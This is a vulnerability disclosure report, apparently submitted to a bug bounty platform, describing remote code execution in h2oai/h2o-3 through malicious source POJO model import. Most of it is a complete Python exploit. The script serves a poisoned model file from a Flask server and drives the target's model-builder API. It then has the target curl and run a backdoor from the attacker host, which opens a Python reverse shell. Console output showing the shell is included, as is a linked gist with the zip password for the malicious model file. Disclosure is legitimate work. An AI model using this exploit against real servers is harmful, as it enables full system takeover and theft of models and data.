Remote code execution via source POJO model import in h2oai/h2o-3
Reported on
Aug 10th 2023
Description
H2O-3 will accept models in various formats, including MOJO, binary POJO, and source POJO. By inserting malicious code into a source POJO, an attacker can upload and run arbitrary code--fully compromising the system with access equal to the permissions of the running h2oai process. All models, runs, and data can be retrieved.
All that needs to be performed is to host the malicious source POJO on http, then request in the web UI within H2O-3 to build a model
Proof of Concept
Vulnerable H2O-3 box is at IP 192.168.166.129 Attacker IP is 192.168.166.128
#!/usr/bin/env python3
# H2O Remote Code Execution Exploit
# required python packages: flask, pwntools
import requests, json
from flask import Flask
import threading
from pwn import *
from time import sleep
from sys import argv
if len(argv) != 3:
print('Usage:\n\t%s <target IP> <webserver IP (or this IP)>' % argv[0])
exit(-1)
app = Flask(__name__)
HOST = 'http://%s:54321' % argv[1]
PORT = 4444 # this is the port we will recieve the shell from
BIND_ADDRESS = argv[2]
BIND_PORT = 8080 # this is the webserver port
CATEGORY = 'configured'
NAME = 'gbm_pojo_test.java'
REV_SHELL = '''python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ''' % (BIND_ADDRESS, PORT)
payload = '''
try {
String command = "%s";
Runtime run = Runtime.getRuntime();
Process proc = run.exec(command);
} catch (Exception e) {}
'''
EXPLOIT = ''
# triggering the vulnerability is done by these 4 HTTP calls
# 08-09 23:07:22.272 172.16.250.130:54321 25099 0419381-54 INFO water.default: POST /3/ModelBuilders/generic/parameters, parms: {model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
# 08-09 23:07:27.274 172.16.250.130:54321 25099 0419381-32 INFO water.default: POST /3/ModelBuilders/generic/parameters, parms: {path=http://127.0.0.1/gbm_pojo_test.java, model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
# 08-09 23:07:27.277 172.16.250.130:54321 25099 0419381-16 INFO water.default: POST /3/ModelBuilders/generic/parameters, parms: {path=http://127.0.0.1/gbm_pojo_test.java, model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
# 08-09 23:07:27.325 172.16.250.130:54321 25099 0419381-55 INFO water.default: POST /3/ModelBuilders/generic, parms: {path=http://127.0.0.1/gbm_pojo_test.java, model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
@app.route('/')
def malicious_pojo_index():
global EXPLOIT
return EXPLOIT
@app.route('/' + NAME)
def malicious_pojo_byname():
global EXPLOIT
return EXPLOIT
@app.route('/backdoor')
def backdoor():
global REV_SHELL
return REV_SHELL
def trigger_rce(host, path):
model_id = 'generic-70e00869-3cc7-4858-aa16-b27a52fafa91'
print('[+]\tAttempting to register model...')
ret = requests.post(HOST + '/3/ModelBuilders/generic/parameters', data = {'model_id': model_id})
if ret.status_code != 200:
print('[-]\tfailure')
return
print('[+]\tAsking H2O-3 to retrieve the model from our webserver (1/2)...')
ret = requests.post(HOST + '/3/ModelBuilders/generic/parameters', data = {'model_id': model_id, 'path': path})
if ret.status_code != 200:
print('[-]\tfailure')
return
print('[+]\tAsking H2O-3 to retrieve the model from our webserver (2/2)...')
ret = requests.post(HOST + '/3/ModelBuilders/generic/parameters', data = {'model_id': model_id, 'path': path})
if ret.status_code != 200:
print('[-]\tfailure')
return
print('[+]\tTriggering the compilation & execution of the malicious model')
ret = requests.post(HOST + '/3/ModelBuilders/generic', data = {'model_id': model_id, 'path': path})
if ret.status_code != 200:
print('[-]\tfailure')
return
def throw_exploit():
global EXPLOIT
path = 'http://%s:%s/gbm_pojo_test.java' % (BIND_ADDRESS, BIND_PORT)
normal_pojo = open(NAME).read()
for cmd in ['curl -o /tmp/backdoor http://%s:%d/backdoor' % (BIND_ADDRESS, BIND_PORT),
'chmod +x /tmp/backdoor',
'sh /tmp/backdoor']:
EXPLOIT = normal_pojo.replace('PAYLOAD_LOCATION', payload % cmd)
# exploit
trigger_rce(HOST, path)
sleep(5)
if __name__ == '__main__':
# webserver
webserver = threading.Thread(target=app.run, kwargs={'host': "0.0.0.0", 'port': BIND_PORT})
webserver.start()
# listening shell
l = listen(port=PORT, bindaddr=BIND_ADDRESS)
exploiter = threading.Thread(target=throw_exploit, args=())
exploiter.start()
c = l.wait_for_connection()
print('[+]\texploit success!!!')
print('['+'-'*60+']')
print('[+]\tReceived a shell!!!')
print('['+'-'*60+']')
c.send(b'id;whoami;pwd;\n\n\n\n')
c.interactive()
Output
user@htb:~/Desktop$ python3 h2O-3_exploit.py 192.168.166.129 192.168.166.128
* Serving Flask app 'e'
* Debug mode: off
[+] Trying to bind to 192.168.166.128 on port 4444: Done
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:8080
* Running on http://127.0.0.1:8080
Press CTRL+C to quit
[+] Waiting for connections on 192.168.166.128:4444: Got connection from 192.168.166.129 on port 44050
[+] Attempting to register model...
[+] Asking H2O-3 to retrieve the model from our webserver (1/2)...
[+] Asking H2O-3 to retrieve the model from our webserver (2/2)...
[+] Triggering the compilation & execution of the malicious model
192.168.166.129 - - [10/Aug/2023 12:24:34] "HEAD /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:34] "GET /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:34] "GET /backdoor HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:34] "GET /backdoor HTTP/1.1" 200 -
[+] Attempting to register model...
[+] Asking H2O-3 to retrieve the model from our webserver (1/2)...
[+] Asking H2O-3 to retrieve the model from our webserver (2/2)...
[+] Triggering the compilation & execution of the malicious model
192.168.166.129 - - [10/Aug/2023 12:24:39] "HEAD /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:39] "GET /gbm_pojo_test.java HTTP/1.1" 200 -
[+] Attempting to register model...
[+] Asking H2O-3 to retrieve the model from our webserver (1/2)...
[+] Asking H2O-3 to retrieve the model from our webserver (2/2)...
[+] Triggering the compilation & execution of the malicious model
192.168.166.129 - - [10/Aug/2023 12:24:44] "HEAD /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:44] "GET /gbm_pojo_test.java HTTP/1.1" 200 -
[+] exploit success!!!
[------------------------------------------------------------]
[+] Received a shell!!!
[------------------------------------------------------------]
[*] Switching to interactive mode
$ uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
user
/home/user/.local/lib/python3.10/site-packages/h2o
$ $ $ $ $ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ $
gbm_pojo_test.java
This file is very large & complex, so it is included here in base64 format:
*** REDACTED BY ADMIN, STRING IS TOO LARGE, PLEASE REFERENCE FROM AN EXTERNAL SOURCE ***
Impact
Full compromise of the server running H2O-3 via remote code execution. Other relevant impacts include model and data theft.
Occurrences
RegisterV3Api.java L309
Model builder endpoint
RegisterV3Api.java L317
Model builder endpoint
RegisterV3Api.java L313
Model builder endpoint
Hey Bryce, your reference to gbm_pojo_test.java
was too large for the platform to render. Could you please upload it externally and edit the report to reference the file instead? Thanks!
No problem (apologies for the delay, I was traveling back from DefCon), I've uploaded a private GIST here: https://gist.github.com/brycebearchell/feaabb9eaf3c6f16239222678b7954ca and the password to the zip file is: "!huntr!java_f1l3" (without the double quotes!). If another format or location would work better for you, please let me know!
Hi Bryce,
We haven't heard from the maintainers in about a month so we manually reviewed this finding. We have duplicated this vulnerability and received a reverse shell, excellent exploit. We are doing some backend maintenance at the moment, once we are done with that we will mark this valid.
Thank you for the excellent report and exploit, Dan McInerney Lead Threat Researcher